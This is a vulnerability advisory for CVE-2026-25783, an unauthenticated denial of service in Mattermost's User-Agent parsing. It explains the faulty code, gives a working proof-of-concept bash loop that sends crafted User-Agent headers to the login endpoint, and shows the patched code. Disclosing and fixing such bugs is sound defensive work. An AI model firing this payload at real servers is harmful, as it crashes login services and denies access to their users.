DoS via unchecked User-Agent token in getBrowserVersion (CVE-2026-25783)
Summary
Parsing a malformed User-Agent header could cause the server to panic
getBrowserVersion in server/channels/app/user_agent.go slices the first token following Mattermost-specific identifiers (e.g., Mattermost Mobile/) without validating that a token exists. Because HTTP User-Agent headers are fully attacker-controlled, the substring can be empty or whitespace-only, causing strings.Fields(...)[0] to panic (runtime error: index out of range). Any unauthenticated request that reaches DoLogin (and other paths that collect browser metadata) crashes the handler before completion. Repeated requests with User-Agent: Mattermost Mobile/ trigger continuous panics, denying service, exhausting logs, and preventing legitimate logins.
CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Source → Sink
Source
server/channels/app/login.go
Line 165 · DoLogin()
Sink
server/channels/app/user_agent.go
Line 111 · getBrowserVersion()
Attack surface
Any unauthenticated HTTP endpoint that parses User-Agent metadata, including the login endpoint (/api/v4/users/login).
Preconditions
No authentication required. Exploit complexity is minimal — only a crafted User-Agent header is needed.
Impact
Remote attackers can repeatedly crash unauthenticated HTTP endpoints that parse User-Agent metadata, resulting in a persistent denial of service. Login attempts fail, session creation halts, and server logs fill with panic traces. Availability is significantly degraded without needing credentials or user interaction.
Exploit path
How the issue forms.
Login handler consumes the HTTP User-Agent header and invokes getBrowserVersion without validation.
bversion := getBrowserVersion(ua, r.UserAgent())getBrowserVersion assumes a token is present and panics when strings.Fields(afterVersion) is empty.
return limitStringLength(strings.Fields(afterVersion)[0], maxUserAgentVersionLength)Proof of concept
Reproduction.
Environment
Requirements: Ubuntu 22.04 (any Linux/macOS works).
Install dependencies:
sudo apt update
sudo apt install -y git golang curl jq
Clone and build:
git clone https://github.com/mattermost/mattermost.git
cd mattermost
make build-server
./bin/mattermost &
sleep 5
Configuration
Server listens on http://localhost:8065 with default configuration. No extra config needed.
Delivery
#!/usr/bin/env bash
set -euo pipefail
TARGET="http://localhost:8065"
MALICIOUS_UA="Mozilla/5.0 Mattermost Mobile/"
for i in {1..5}; do
curl -ki \
-H "User-Agent: ${MALICIOUS_UA}" \
-X POST \
-H "Content-Type: application/json" \
-d '{"login_id":"[email protected]","password":"bad"}' \
"$TARGET/api/v4/users/login" || true
echo "Request $i triggered panic (see server logs)."
sleep 1
done
Outcome
Attacks keep the server panicking and returning 500 responses. Login attempts fail and the login subsystem becomes unavailable while logs flood with panic traces.
Remediation
The fix.
Refuse to index the token unless it exists. The fix refactors getBrowserVersion to use a table-driven approach that centralizes bounds checking, making it impossible to introduce the same bug when adding new prefixes.
Before
if index := strings.Index(userAgentString, "Mattermost Mobile/"); index != -1 {
afterVersion := userAgentString[index+len("Mattermost Mobile/"):]
return limitStringLength(strings.Fields(afterVersion)[0], maxUserAgentVersionLength)
}After
for _, prefix := range versionPrefixes {
if index := strings.Index(userAgentString, prefix); index != -1 {
afterPrefix := userAgentString[index+len(prefix):]
if fields := strings.Fields(afterPrefix); len(fields) > 0 {
return limitStringLength(fields[0], maxUserAgentVersionLength)
}
}
}
return getUAVersion(ua.Browser.Version)